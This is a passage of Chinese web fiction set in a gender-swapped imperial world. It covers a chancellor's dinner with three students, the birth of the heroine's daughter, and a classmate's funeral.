陆锦澜:“就是非常厉害的意思啊!她站在那儿,吓得大家大气儿都不敢喘。院长那会儿还说,啊你们这是把天捅了个窟窿。你娘一来,就把天补上了,你说她厉不厉害?” 晏无辛骄傲的扬起下巴,“那是自然,从我出生那年我娘就做丞相了。她身为百官之首近二十年,肯定是有本事的嘛。不过,这确实是件大事,一会儿我跟你们细说。” 到了丞相府,晏无辛开始绘声绘色的跟她们描述过程。 “我抢了匹马,鞭子都快抡冒烟了赶到家,门子却说我娘已经去上朝了。急得我立刻追上去,半路把她拦下来。” “她看见我气坏了,说:‘你这会儿不是应该在上课吗?你不务正业,怎么跑回来了’。我说:‘天塌了,我惹了个大事。’” “我把事情跟她一说,我娘看了我一眼,说:‘小兔崽子,我看不出你还有这份胆识’。我说:‘我两个 姐妹现在还在那儿顶着呢,您要是不救我,我就自己回去跟她们一起认罪’。” “然后她可能也觉得事关重大,立刻决定不上朝了,命人去宫里说一声,便改道来学院。” 晏无辛说完终于坐下喝了口茶,陆锦澜叹道:“那你娘真够宠你的,这么麻烦的事儿,说办就办。” 晏无辛连连摆手,“我娘六个女儿八个儿子,我是她最小的女儿,她最瞧不上的就是我。平常见到我不是训我就是骂我,总嫌我没出息不长进,沉迷男色。我见了她,跟老鼠见了猫似的。” “你刚进京那会儿,不是写了篇《将进酒》吗?把我的名字写进去了,我本来还挺高兴的给我娘看。结果她说这不就是云州来的那个风流才女写的吗?你俩当然能玩到一块了,你俩都好色。” 晏无辛说到这儿,压低了声音吐槽道:“她自己有十六个小郎,她竟然骂我好色。” 项如蓁笑而不语,陆锦澜笑道:“我看她不是嫌弃你好色,她是怕你只会好色。” 晏无辛摊了摊手,“谁知道呢?反正我的姐姐们都比我爱读书,都比我上进。我娘上次夸我,可能要追溯到我没记事的时候,夸过我哭声宏亮。对了,一会儿走的时候咱们一起走,我怕她单独把我留下来,又要骂我。” 她们正聊着,家仆来报,“相尊回来了,请小少娘和两位小友到正厅说话。” 三人连忙起身理了理衣衫,随来人过去。 晏维津见到三人,便道:“皇上没有怪你们,此事揭过,你们不要出去到处和别人说。” 晏无辛一愣,怪道:“皇上怎么会不怪我们呢?我们不是坏了她的事吗?” 晏维津勾了勾嘴角,“你说为什么?” 晏无辛歪着脑袋想了想,“孩儿想不到。” 晏维津嫌弃得瞪了她一眼,“蠢儿,说起闲话你是滔滔不绝,说起正事你是半句也没有,让你的朋友说说吧。” 晏维津朝陆锦澜和项如蓁招了招手,“你们两个到我跟前回话。” 二人老老实实站到她面前,项如蓁拱手道:“回相尊大人,我想皇上不怪我们,可能有两个原因。一来自然是看您的面子,二来她或许认可我们所做的事,所以愿意高抬贵手,放我们一马。” 晏维津微微点头,“你叫项如蓁?” “是。” “我听辛儿提过你,你虽然出身贫寒,但是正直守信,读书上进,在学生中颇有威望。今日一见,果然是英雌出少年。” 项如蓁忙道:“相尊大人谬赞,我只是一个有些固执的学生。这次的事,若不是我的疏忽,也不会演变成败局,还要麻烦您来收拾。” 晏维津赞赏道:“话不能这么说,你小小年纪敢作敢当,已经实属难得,将来必堪大用。你刚才的分析都是对的,但还没说到点子上。陆锦澜,你来说说。” 陆锦澜道:“回相尊大人,其实我的想法和如蓁差不多。我觉得此事皇上轻轻放过,除了给您面子,另一个原因可能在事件本身。或许,我们并没有坏了她的事,而是顺了她的意。” “哦?”晏维津抬眸看向她,“详细说说。” 陆锦澜道:“成绩造假这事由来已久,算起来,是皇上未登基之时便有了,属于沉疴旧患。不论是人才选拔还是官员任用,京中的皇亲世族都想插手,把自己的人放进去分一杯羹。” “也许皇上对此早就不满了,但其中牵扯甚多,涉及到多方利益,她想管也不好下手。我们发现此事,纠正此事,也许歪打正着,办到了皇上的心坎上。她可能不生气,反而很高兴。” 晏维津连连点头,眼中流露出欣然赞许的目光,“你分析得很对,朝政恰如虬藤,盘根错节,多方势力互相掣肘,是极其复杂的。” “这么大的国家,每天都发生很多事。有的事想管而不能管,有的事不想管却还是要管。将来你们入朝做官,身处其中,便能明白我今日的话。” “今天这件事,皇上确实很高兴。如果不是因为前线突然来了奏报,她差点就要宣你们进宫了,不过以后你们还会有机会面圣的。北州的事办得不错,这次的事虽然没办成,也值得嘉许。” 说到此处,她忽然话锋一转,“可我还是要提醒你们一句,以后做事要再多想想,否则触怒天威都不知道。” 触怒天威?项如蓁不解,“您刚刚不说皇上很高兴吗?” 晏维津一笑,“有让她高兴的地方,她会高兴。有让她不高兴的地方,她便不高兴。喜怒之间,便是你们在过鬼门关。你们不妨猜猜,是什么让她不高兴?” 三人凝眉沉思,晏无辛喃喃道:“难道是因为我们明知故犯?” 晏维津面上看不出喜怒,“怎么说?” 晏无辛道:“我们在办这件事的时候,就猜到了皇上一直在默许此事的发生,甚至参与了此事。我们能猜到皇上知道,皇上也能猜到我们知道她知道。” “天威不容冒犯,我们却和皇上对着干,这是挑战皇权,她自然不高兴。但我觉得,她就算不高兴也只是一点点,整体还是高兴的,并且一定会宽容我们。” 晏维津又问:“为何这么说?” “因为她是天子啊,天命之人手握天下苍生。我们对皇权这点小小的忤逆,对她来说根本构不成威胁,反而是一种趣味。” “再说我们表面是和她对着干,实际上是顺了她的心。所以,她必然饶恕我们,以彰显她天子的胸怀。她如果今天宣了我们面圣,一定会先让我们战战兢兢,再让我们感激涕零,她喜欢将人玩弄于股掌之中。此乃,帝王之术。” 晏无辛说着说着颇有些得意忘形,回过神来,才小心的看向晏维津,“娘,我说的有道理吗?” 晏维津严肃的问她:“这些话是谁和你说的?” 晏无辛紧张道:“没人和我说啊,我自己瞎琢磨的。” 陆锦澜忙道:“无辛一向善于钻研人心,她比我和如蓁更有风险意识。在北州的时候,她就提醒我们在殿下面前注意言辞。她在学院也很低调,连我们都是今天才知道她是您的女儿,我觉得她说得蛮有道理的。” 晏维津点了点头,对晏无辛道:“算你有长进,除了好色之外,为娘总算看到你还有别的长处了。” 晏无辛得意道:“今天是什么日子啊?难得您夸我,我可得好好记下。” 大家哈哈一笑,陆锦澜见项如蓁心不在焉的,忙问:“你想什么呢?” 项如蓁道:“我有一事,想请问相尊大人。成绩造假的事儿,您一直都知道吗?” 晏维津微微一笑,“我若不知,这个丞相不是白当了吗?” 项如蓁一愣,“那您为 何不管?” 陆锦澜连忙拽她的袖子,“如蓁,你又犯傻了。皇上都没法管的事,你让相尊大人怎么管。” 项如蓁赔礼道:“相尊大人恕罪,我失言了。我只是在想,这件事存在这么久,总该有人想办法解决。身为臣子,理应……呃……” 晏维津笑了笑,“说啊,怎么不说下去?” 项如蓁抻了抻衣服,“她俩快把我衣服扯破了。” 晏维津哈哈大笑,“我年轻的时候也这么想过,那时一腔热血,以为自己可以改变天下,但后来便不这么想了。罢了,今天你们让我特别高兴,不要走,留下来吃饭,我亲自下厨。” 晏维津起身离开,留下三人呆愣在那儿。 陆锦澜:“她说她亲自什么?” 项如蓁:“下厨,是我以为的下厨吗?还是有别的意思?” 晏无辛:“老天奶啊!我活了十七年,从来不知道我娘会做饭。” 直到饭菜端上桌,三人还觉得有些恍惚。 晏维津把厨房里的下人全部撵出去,不要任何人帮忙。她一个人切菜、备菜,刀工娴熟,煎炒烹炸无一不会。那架势,熟练得让人震惊。 最后一道红烧肉出锅,她擦了擦手,“开饭。” 四人坐下来,三人看着面前的六道菜,满腹疑惑。 晏维津和蔼道:“你们先尝尝我的手艺,我再回答你们的问题。” 陆锦澜夹了一块红烧肉,惊道:“肥而不腻,软烂入味,简直比外面酒楼做得还好。” 项如蓁尝了一口红烧鲤鱼,“确实跟酒楼差不多。” 晏维津大笑,“你是个老实人,你说差不多那一定是差不多。辛儿,你觉得如何?” 晏无辛用力点头,“好吃。娘,你什么时候会做饭的?” 晏维津叹了口气,“我六岁那年就会切菜了,八岁上灶,百十道菜信手拈来。那时候你姥姥在街边摆了一个小摊,我就跟着她一起经营,维持生计,赚钱攒学费。食客都不是有钱人,点的最多便是面前的这道炝拌土豆丝。” 晏维津尝了一下,“嗯,差强人意。二十多年没进厨房,手艺有些生疏了。” 陆锦澜诧异道:“我还以为晏家是望族。” 晏维津笑着摇头,“望族也有破落户,当年晏家的族长在御史台做御史令,而我只是她出五服的穷亲戚,八竿子打不着。小时候家穷,日子过得格外紧张。失手摔碎一只碗,都要招来一顿痛打。但我不怪任何人,都是穷惹得祸。” 她说着撩起衣袖,露出手臂上一片疤痕,“这是我九岁那年,做菜时失手被热油烫伤的。大夏天买不起药,疼得整宿睡不着,还留下了这些疤。疼得钻心时我就在想,我必须要改变这种境况,绝不能一辈子都过贫穷的生活。” 项如蓁忙问:“那您是通过读书改变的吗?” “当然,而且我读的就是皇家学院。辛儿说你们翻阅了近二十年的存档,发现所有成绩都是假的。可惜了,你们若能翻到二十五年前的存档,会发现有一个人的成绩是真的,第一名晏维津的姓名条,就贴在她本人的试卷上。” 三人惊讶得瞪大了眼睛,晏维津笑道:“所以,辛儿读书不用功,着实让我生气。我是没舍得让她过一天苦日子,她也是一点苦都不肯吃。她小时候我便知道,她难成大器。别的孩子抓周,都抓笔啊剑啊的,你们猜她抓了什么?” 晏无辛急道:“这事儿就别说了。” 二人好奇,忙问:“抓了什么?”—— 作者有话说:这章写得太开心了,想拉两个男人出场调剂一下都没有空间,下章来点刺激的感情戏,嘿嘿 第69章 晏维津无奈道:“男人的腰带。” “啊?”二人忍不住大笑起来,却又觉得不可思议:“怎么会呢?抓周怎么会把男人的腰带摆上去?” 晏维津无奈道:“哪是摆上去的?那天世间珍奇之物摆了上百样,她一样都不取,转身把她奶爹的腰带给拽下来了,还抱着不撒手。” 晏无辛红着脸趴在桌上,项如蓁和陆锦澜笑得直拍大腿,根本停不下来。不过,两人笑点其实不太一样。 项如蓁在笑晏无辛扯了奶爹的腰带,陆锦澜却在偷偷琢磨“奶爹”这个称呼。 她之前就听说过,这里的男人生完孩子,要服用一种催奶的药,就能产奶喂养婴儿。 不过这个过程伴随着一些堵奶涨奶的痛苦,而且看起来也不太美观。 大家都会觉得:男人胸那么大,还算男人吗?男人平胸才好看啊,不然哪个女人会喜欢呢? 所以,一般大户人家的夫郎都不亲喂,生完孩子就忙着恢复身材,会请刚生完孩子的男人来当奶爹,帮忙喂养婴儿。 陆锦澜忽然想到雨眠快生了,也不知道云州府里找好奶爹没有。 见大家都笑,晏无辛不好意思道:“娘,别说我的事儿了,你还是说您在学生时代如何独占鳌头的事儿吧。” 晏维津想了想,“用功读书,自然就考得好了,也没什么可说的。不过,我那时候也做过一件出格的事儿。” “那时我有几个玩得好的同窗,大家家境都不太好,其中有一个同学是个孤儿,过得更贫苦些。有一年,学监贪污了贫困生的补助,那位同学本来身子就不好,大冬天只能穿着单衣,一场风寒人便没了。” “我们几个气愤急了,干脆一把火,把学监的家给烧了。” 想不到晏维津这样的人,竟会做这么冲动的事。三人一时愕然,晏无辛忙问:“然后呢?” “然后?呵。”她冷笑一声,“然后学监找到我们,要我们赔一千五百两银子,否则,便要告官。一旦告官,别说学籍保不住,人都要被抓进去。” 陆锦澜忙问:“这种事怎么会被发现呢?是不小心留下了什么证据吗?” 晏维津摇了摇头,自顾自饮了一杯酒,眼底冷如寒潭,“没有留下任何证据,但是身边有人告密。” “啊?怎么会这样……”大家一时不知该说什么好。 晏维津叹息道:“我那时也如你们今日一般,惶恐不安,仿佛天都塌了。其实现在回头看,一千五百银子而已,小事一桩。可今日之我,并不能救昨日之我。” “年轻的贫穷的我就被困在那里,一边怀念着逝去的旧友,一边忍受着朋友的背叛,一边茫然的面对着摇摇欲坠的前路,无助极了。” “幸亏那年京中来了一位外地富商,是个初出江湖的小少娘。她义薄云天古道热肠,听闻此事便慷慨解囊,替我们出了那一千五百两。” 晏维津说到这儿,转头看向陆锦澜,“那个人就是你娘,陆今朝。” “什……什么?”陆锦澜一愣,“我……我从来没有听我娘提起过。” 晏无辛喜道:“原来我和锦澜算世交啊,娘你怎么不早说?” 晏维津勉强一笑,“陆今朝交游广阔,为人侠义,这种事对她来说,时常发生,她大概已经不记得了。” 说到这里,晏维津没有再说下去,转移了话题。 “其实,今天看到你们三个自始至终都没有互相背叛,我特别为你们高兴。人在面临抉择的时候,总是会优先考虑自己,自私懦弱的人总是那么容易背叛。” “能够拥有一个可以绝对信任的朋友,不容易。我很羡慕你们,拥有两个这样的朋友。” 她不知想到了什么,眼眶变得湿润。 她动容的搂着晏无辛的肩膀,用力拍了拍,“娘今天真的很高兴,我差点以为你这个女儿是个孬种,但我今天发现你特别有种,终于有点儿像我了。娘给你倒杯酒,以前真是小看你了。” 晏无辛霎时鼻酸,眼泪瞬间涌了上来。她不敢直视母亲的眼睛,闷头饮了那杯酒,仓惶起身道:“我去方便一下。” 项如蓁:“我也去。” 陆锦澜刚要跟着起身,晏维津忽然叫住她。 “锦澜,你等一下。” 陆锦澜不解的回过身,晏维津道:“你和你娘长得并不相像,看你的侧脸倒让我想起另一位故人。” 陆锦澜怔住,猛然想起了刚刚穿进书里时看到的画面,她笑了笑,“您觉得我像谁?” 晏维津轻笑一声,“那位故人已经离世了,你不认识。不过我很好奇,你长得不像 你娘,像你爹吗?你爹叫什么?” 陆锦澜道:“我爹姓严,我倒没觉得我们长得像……” 她说这话的时候,忽然留意到晏维津脸上的神情有些微妙。虽然她极力掩饰着紧张,但陆锦澜能够感受到她非常在意她的答案。 陆锦澜突然想到,也许不该说实话。她留了个心眼,含糊道:“但是别人说我和我爹挺像的,一家人嘛,怎么可能不像呢?有时自己看不出来像,外人却能看出来像,还有人说我和我爹像一个模子里刻出来的呢。” 晏维津“嗯”了一声,又问:“你是几月的生日?” “九月初六,和无辛只差了一天。” “哦。”晏维津终于点了点头,没再说什么。 这件事成为陆锦澜心底的疑云,从相府出来,她心不在焉的回学院看了下榜。 这回排的的确是公允的,她还是第一,项如蓁第二,至于晏无辛,稍有进步,四十六名。 试已经考完了,又到了暑假,陆锦澜收拾了点东西,要回家住了。 “如蓁,你跟我回家去吧。” “不了,忠勇园虽大,但是要出城。翰林院有很多古书,我打算利用暑休多去那儿看看书。住在学校,去翰林院近很多。不过我会隔三差五去叨扰你的,不会让你太想我。” 陆锦澜一笑,“好吧,那我先回去了。” 项如蓁看着她出了门,一转身陆锦澜去而复返。 “怎么了?” “你在翰林院能不能查到二十五年前学院的学生名单?” 项如蓁忙问:“你查这个干什么?” 陆锦澜也不知该怎么说,只道:“我很好奇,今天相尊大人说她二十五年前是第一名,我想知道她那时的同学都有谁,有没有我听说过的。” “其实,我娘有个朋友,可能也读过皇家学院。她年纪和相尊大人相仿,我猜也许她们同年级,是一届,或者早几届晚几届都有可能。” 项如蓁问道:“你娘那个朋友叫什么名字?” “叫……”陆锦澜努力回忆了一下,“叫飞卿。” “姓什么?哪两个字?” 陆锦澜叹了口气,她记忆里的片段没有字幕,她也不知道是哪两个字。 “不知道姓什么,也不知道是哪两个字。算了,不重要,也许我想多了。你当我没说过,这件事不要跟任何人讲。” * 陆锦澜不知道是不是自己太敏感了,其实也有可能是晏维津随口一问,未必和自己的身世有关。 她努力安慰自己,就算自己是从外面抱回来的孩子,也未必就不是陆今朝的女儿,也许是陆今朝外面的男人给她生的呢? 但她又清醒的知道,按照男频小说的尿性,这个可能微乎其微。 她的亲娘多半是另一个人,但是会是谁呢? 她回到家,心事重重的陪凛丞和七郎吃了顿饭。 两人现在都大着肚子,她也没心思和他们胡闹,把自己一个人关在书房里,默默的想事。 不知过了多久,有人进来送茶掌灯。 相貌清俊的年轻男仆温声道:“主君,这是新做的点心,您尝尝吧。” 陆锦澜一挥手,“放那吧。” 来人却没有走,伸手挽了挽她的衣袖,轻声道:“主君读书辛苦,千万要注意身体。如果您身上疲乏,便让我给您按按吧。” 陆锦澜乌眉一皱,心底一声叹息。 在这个性转版的世界,身边伺候的仆人大多都是和家主相反的性别。 前院女仆居多,做护院、做门子、做出门的随从,都是些需要抛头露面与外面接触的工作。而男仆,是在府内做活的。在陆锦澜和夫郎们居住的后宅,除了她和管家洗墨,几乎全是男仆。 一来,自然是女男有别,夫郎不能随便和其他女人接触。二来,这些男仆也是妻主潜在的性资源。 就像古代皇宫里的宫女,都是皇帝的女人一样。这府里的男人,也都算是她的男人,只要她看得上。 也许别人都这么想,但陆锦澜却从未这么想。她打过工,她琢磨着给人当牛做马已经够苦的了,还得这样那样,是不是太过分了? 她没有这个心思,却不成想有的男人会主动送上门献殷勤。 陆锦澜冷冷的瞥了那男仆一眼,翻手捏住了他的手腕,略一用力,疼得那人立刻痛呼一声,跪倒在她脚下。 陆锦澜冷声道:“我记得你叫烟石,是大夫郎的陪嫁。你家公子为人和善,待你不薄,你为何这般不安分?” 烟石连忙求饶道:“主君饶命,是我家公子要我来……来伺候您的。” 陆锦澜一愣,丢开他的手,大步往凛丞的院子里去兴师问罪。 * 宋凛丞最近胖了些,对镜自照,神情越来越沮丧。 男为悦女者容,今天陆锦澜一回来,他特意换了身她上次说好看的衣裳,仔细打扮了一下。可她看了什么也没说,也不知是嫌他胖了还是丑了。 宋凛丞感到了危机,也许她是厌倦了。他不得不狠心把烟石派去伺候她,以展示自己的体贴和大度。 烟石是他爹亲自帮他挑选的陪嫁,容貌出挑些,为的就是他有孕的时候,可以替他伺候妻主。 宋凛丞想烟石很会说话,大约陆锦澜会喜欢。 他应该高兴,免得京中各家贵夫聚在一起,总说他仗着陆锦澜宠他,便那般小气。自己有孕不能伺候,也不知帮妻主物色物色。 如今他主动送人过去,总算可以争得一个贤惠的名声了吧? 可不知为何,他一点也高兴不起来。眼眶越来越红,眼泪流下来,很快打湿了衣襟。 “宋凛丞!”陆锦澜推开门闯了进来。 宋凛丞连忙擦了擦眼泪,起身道:“怎……怎么了?” “你说怎么了?”陆锦澜没好气道:“谁让你瞎安排的?” 宋凛丞见她动怒,忙解释道:“我和七郎接连怀孕,不便伺候。我爹说,该给你房里放个可用的人,我就……” 陆锦澜瞪了他一眼,坐了下来,“你爹总教你这些没有用的,整天在跟前伺候的人,莫名其妙爬我的床,我能不别扭吗?” 宋凛丞垂下眼眸,“那是我考虑不周了,只是从外面找,不知根底,还怕不干净……” 陆锦澜皱眉道:“你可别操这个心了,我想要什么样的男人我自己去找,用不着你帮忙。” 宋凛丞委屈道:“你对我这么好,我只是怕我这个做正夫的不称职,委屈你。” “我会让自己委屈吗?”陆锦澜气得有些大声,可看着他红肿的眼睛,无奈的叹了口气,拉住他的手,缓和了语气:“我还不了解你吗?在我这儿,你用不着装什么贤惠大度。” 宋凛丞本来还能忍着,听她说这么一句,眼泪便落了下来,哽咽道:“我是看你不大高兴,好不容易到了暑休,不想你总往外面跑,所以……” “好了好了,”陆锦澜抱住他,温声道:“我不高兴和你们没有关系,是为了别的事。你有孕在身,不要胡思乱想。我今晚在你这儿,好好陪陪你。” 凛丞终于露出笑意,“那我先去洗把脸。” 两个人躺在床上,陆锦澜还在想着身世的事儿。宋凛丞轻声道:“国家大事我虽然不懂,但如果你烦心的事不妨和我说说,我也好为你排解几句。” 陆锦澜叹了口气,“也不是什么国家大事,就是我突然有了一些想法,思绪很乱。” 宋凛丞道:“乱你就乱着说,咱们妻夫之间的私房话,你怎么说都行,怎么说我都能懂。就当是咱俩之间的秘密,不告诉旁人。” 陆锦澜一想也是,便侧过身,看着他的眼睛开口道:“假如,有一个婴儿,一出生就被人追杀,你说她可能是什么身份?” 宋凛丞道:“那想必她的母父得罪了人,所以连刚出生的婴儿都不放过。又或者,这个婴儿关系到别人的利益,所以非杀她不可。总之,她很重要,才会被追杀。至于她是什么身份,不好说。” 陆锦澜点了点头,“算了,信息太少了,不好猜。不费这个脑筋了,以后再说吧。” 她吹了灯,“睡吧。” 陆锦澜睡到半夜,系统忽然在她脑内响起一串喜悦的铃声。 「叮!恭喜宿主子嗣+1,获得一个女儿,生命值+100000!系统商城解锁一百件新物品,系统赠送‘初为人母’大礼包一份!」 陆锦澜猛地坐了起来,宋凛丞迷迷糊糊的醒来,忙问:“怎么了?做噩梦了?” 陆锦澜摇了摇头,“不,是……美梦,我梦到雨眠生了,生了个女儿。” 凛丞一笑,醋道:“你是日有所思夜有所梦,太久没见他,总是惦记着他。他是快生了,不过,他也许生了个儿子呢。” 陆锦澜噗嗤一笑,捏了捏他的脸,哄道:“不管他生的是女儿还是儿子,我最疼的还是你和咱们的孩子,你可别乱吃醋了,睡吧。” 陆锦澜喜得贵女,冲淡了心头的身世疑云,开始琢磨给女儿取个什么名字好。 她甚至想好了如何犒赏府中上下,但云州一直没送消息来,她还得装作不知道的样子。 憋了一个月,云州竟然还没动静。陆锦澜开始怀疑系统的准确性了,怎么回事? 陆锦澜不想等着,“给我收拾东西,我明天要回云州看看。” 凛丞和七郎担忧的看了她一眼,纷纷开始劝。 凛丞:“你别担心,雨眠是习武之人,身子健壮,一定不会出事的。也许消息正在来的路上,可能这两天就到了,你这么一去,可就错过了。” 七郎也道:“咱们陆家家财万贯,最好的医师最好的药材,应有尽有,一定会父女平安的,你再耐心等等。” 陆锦澜想了想,“我再等两天,不来消息我就回云州,谁也别劝我。” 这话刚说完一天,情况就变了。 第二天,晏无辛和项如蓁来了忠勇园。 陆锦澜和二人一起在园子里骑马,洗墨忽然飞奔来报:“恭喜少主!贺喜少主!” 陆锦澜眼睛一亮,“云州来消息了?” 洗墨笑道:“是人来了!老娘带着雨眠小郎和小主子一块来了,此时正在前厅等着您呢。” 陆锦澜大喜,忙道:“如蓁、无辛,走,快跟我去看看我的孩子!” * 陆锦澜快步赶到前厅,陆今朝正在门口站着。陆锦澜连忙跑了几步,几乎扑到陆今朝怀里给她行礼,“娘,许久未见,孩儿给娘请安。” 陆今朝笑道:“快起来,都当娘的人了,还这么冒冒失失的。去看看你的女儿,她可爱极了。” 陆锦澜步入大厅,一屋子人都在恭喜她。 凛丞七郎都在,有几个生面孔应该是云州带来的奶爹。 小一年没见,雨眠圆润了些,他提前出了月子,连日赶路,面色略有些苍白,乍一见到她神情颇为激动,眼眶湿润的将孩子抱过来,笑道:“给妻主请安。” 陆锦澜摸了摸他的手,“雨眠,辛苦你了。” 雨眠摇摇头,“抱抱你的女儿吧,你看她长得多像你。” 新生的婴儿又白又软,粉嫩嫩的,只有一双大眼睛黑白分明,忽闪着看着她。 陆锦澜微微一笑,摸了摸她的小脸,抱着她来回走动。 她心里盘算着,初为人母大礼包她还没拆,一会儿看看都有什么东西,有没有给孩子用的。这么轻松就当了娘,她还真有点不知所措。 正好陆今朝来了,得空她得问问晏维津的事儿。正寻思着,晏无辛走到她跟前,“给我抱抱。” 陆锦澜把孩子交给她,晏无辛很喜欢这孩子,看着她咿咿呀呀的,便解下身上的玉佩给她玩儿。 雨眠忙提醒道:“晏少娘快收起来吧,这孩子手快得很,抓到给您摔碎了可怎么办。” 晏无辛不以为意,笑道:“碎了就碎了,物件而已。” 项如蓁道:“这孩子看着好像比寻常的孩子大些,将来一定是个习武的料子。” 陆今朝高兴道:“生下来就有足足八斤,哭声都比别家孩子更洪亮。不过算起来,她明天就满月了,是该比刚生下来的孩子大。” 她转而对陆锦澜道:“雨眠想让你直接看到孩子,他身体恢复得不错,我便没有第一时间告诉你。想着他稍微提前几天出月子,我直接带她们过来,给你个惊喜。对了,孩子快满月了,还没取名字,你这个当娘的快给取个名字。” 陆锦澜笑道:“名字我想好了,明天满月,咱们明儿办满月酒,我明天正式公布名字。洗墨,赶紧着人准备酒席。如蓁、无辛,你们得给我的孩子当干娘。” 项如蓁迟疑道:“这不妥吧?我们做了你女儿的干娘,万一以后我们家里生了儿子,还怎么订娃娃亲?” 晏无辛急道:“当干娘和订娃娃亲不冲突的,干娘也可以变岳母啊。再说了,你连夫郎还没有呢,哪来的儿子?你想得倒远。” 众人不由笑了起来,大家正热热闹闹的说着,家仆忽然来报:“门外有位少娘,自称是少主的同窗,说有急事要见少主。” 陆锦澜忙问:“她叫什么?” “她说她叫晏钰。” 三人顿时一愣,面面相觑,都暗自疑惑:她怎么来了? 陆锦澜忙道:“快请她进来……不,我亲自去迎。” 项如蓁和晏无辛跟着她一起出门迎接,赵祉钰一身白衣站在门口,身边只带了两个穿了便服的大内侍卫。 陆锦澜拱手道:“参见殿下。我喜得一女,明天办满月酒,正琢磨着怎么往宫里送请帖,却不知哪阵风把您给吹来了。” 赵祉钰一愣,在身上摸了摸,“恭喜你啊,抱歉,我出来得急,身上没带贺礼,明天给你补上。” 陆锦澜忙道:“不碍的,咱们到书房说话吧。” 到了书房,茶刚奉上,赵祉钰便忍不住道:“你家添人进口是件喜事,可我有个坏消息不得不告诉你们。” 陆锦澜一愣:“何事?”—— 作者有话说:陆锦澜:我喜得贵女,请各位姨母都来喝满月酒。不用带贺礼,有营养液带一瓶就好。(如果有的话,谢谢各位姨母,没有算了,也没关系的,哎孩子怎么哭了,哦哦别哭了……什么?你要喝营养液啊………) 对不起,作者精神状态不太好…… 第70章 赵祉钰叹了口气,“你们还记得金一淮吗?” 陆锦澜笑道:“当然记得,咱入学的时候她是学生会长,咱不是跟她打过好几架吗?后来大家讲和,大闹食堂的时候她还带人帮忙来着。” 项如蓁道:“说起来年初她还请咱们喝过酒,后来咱们张罗着回请,还没定下日子,她便和其她学长一起,被匆忙召去了前线。” 晏无辛想了想,“算起来,有半年没她的消息了。殿下怎么突然提起她?是不是学长们要班师回朝了?那咱们得赶紧安排酒席,别让人家觉得咱们抠门啊。” 三人笑了笑,赵祉钰沉痛的摇了摇头,“她牺牲了。” 屋内的笑声戛然而止,气氛陡然凝重。 赵祉钰沉声道:“昨夜宫里得到急报,前线失利,金一淮和几位大三的学长率领的一支凌家军小队,中了姜国军队的埋伏,全体阵亡,尸骨无存。” 屋内的气氛格外沉重,大家一时愕然到不知该说什么。 赵祉钰道:“金大人夜里已经得到了消息,想必这会儿灵堂已经布置好了。白事需要不请自去,咱们和金学长虽有过过节,但后来算是成了朋友。金大人儿子很多,却只有这一个女儿。我想,大家一起前去吊唁一番,宽慰老人家几句,也算尽份心意。” 陆锦澜连连点头,“应该的。请殿下稍等,容我们去换件衣服。” 事发突然,陆锦澜跟陆今朝一说,陆今朝忙道:“是该前去,奠仪准备了没有?” 陆锦澜连连摇头,她在这儿还没参加过丧事,不知道有哪些规矩。 一问赵祉钰,她也只参加过皇家丧礼,不知民间的规矩,还以为跟皇家一样,只需要人过去就行。 陆今朝忙命人准备了四份奠仪,包含银钱、祭品、还有一些布帛。又叮嘱这四个年轻人,到了那里该走什么样的流程,打听好出殡时间,以便到时安排路祭等等。 四人带着东西到了金府,只见门口挂着白幡,府内一片缟素。 灵堂内跪满了穿 着孝服的家属,都在低着头默默拭泪,偶尔能听到压抑克制的哭声。 四人被引领过去,在灵前行了拜礼,奉上奠仪,家属叩首还礼。 在一片哀声中,晏无辛偶然捕捉了到了一张令她倍感意外的面孔。 那不是项如蓁心心念念的小月亮吗? 她碰了碰项如蓁的胳膊,想提醒一下,却被项如蓁抓着手腕拽了出去。 四人前后脚出了灵堂,赵祉钰道:“管家说金大人急火攻心病倒了,看来现下不便叨扰,我先回宫了,等路祭时咱们再见。” 送走赵祉钰,晏无辛忙对项如蓁道:“你没看见你的小月亮在家属堆里跪着吗?” 项如蓁点了点头,“我看见了。” 晏无辛惊道:“那你就不想和他说句话?这种时候,哪怕安慰他一句半句的也好啊。” 项如蓁无奈的叹了口气,“想。我不止一次想过,若再见到他,一定要和他说几百句几千句话。可此时此刻此地,实在不合适。” 陆锦澜左右看了看,压低了声音:“我也看见他了,但他一直低着头,没看见咱们。难道,咱们就这么走了?” 三人正低声商量,管家过来请她们到一旁接待宾客的抱厦去喝茶。 项如蓁:“不用麻烦了,我们这就走。” 晏无辛忙咳嗽一声,“我嗓子有点干,喝杯茶再走吧。” 陆锦澜推了推二人,“你们先过去,我去打听一下。” 晏无辛拉着项如蓁往抱厦走,仆人很快奉上消暑的绿茶。 项如蓁端着茶踱了几步,不知不觉走到了侧门,站在那里,刚好可以看见灵堂的一侧。 她正对着他,远远的瞧着,他仿佛又瘦了几分,柔弱得跪在那里,小小的一团。 那宽大的纯白孝服,好似将他整个人装了进去。他哭得双眼通红,连鼻尖都红了,显得面色越发白得可怜。 项如蓁定定的站在那里,陆锦澜凑过来,顺着她的视线看过去,轻声道:“我打听出来了,他叫金雪卿,是金大人最小的儿子,也是一淮学长同母同父的亲弟弟,家里排行老九,今年刚满十六岁,还没许人家。” 项如蓁惊讶的看了她一眼,“你在丧礼上问这些,人家没打你?” 陆锦澜无奈道:“这可不怪我,我就打听一下姓名。那老爹子嘴碎,一听我是陆锦澜,还以为我要怎么样,噼里啪啦全说了。现在怎么办?你真一句话不和金公子说,就默默离开啊?” 项如蓁抿了抿唇,“我也不知该和他说什么,算了,走吧。” 她转过头,突然发现金雪卿已经没了踪影。 项如蓁眉头一皱,一个年轻的年仆低着头小跑进来,悄声道:“请项少娘跟我来。” * 陆锦澜和晏无辛悄悄跟在身后,趁着四下无人,跃上了假山。 二人趴在山上,只见那男仆将项如蓁带到花园假山后,便转身离去。 项如蓁正不解时,金雪卿从一旁缓步而出,站在了她面前。 两人时隔半年再度重逢,四目相对,一时无言。 金雪卿默默流泪,项如蓁默默的递过手帕,两人就那么站着。 晏无辛和陆锦澜伏在山上,看得干着急。 晏无辛:“一句话不说,我都有点怀疑我的耳朵了,可这俩人嘴也没动,难道如蓁会腹语?” 陆锦澜摇了摇头,也是百思不得其解,“我没遇到过这样的,看不懂这是什么情况。你说这金小公子看着柔柔弱弱的,胆子倒挺大。上回私闯学院,这回私会外女。见就见吧,有什么话快说,一会儿给人看见,他娘非罚他不可。结果他光顾着哭……” 陆锦澜正说着,一抬头金雪卿忽然扑到如蓁怀里,吓得陆锦澜和晏无辛双双瞪大了眼睛。 项如蓁大约也没想到,他会如此失控。她愣了一下,犹豫片刻,抬手用力地抱住了他。力道之下,将他身上的孝服都勒出了一道道褶皱。 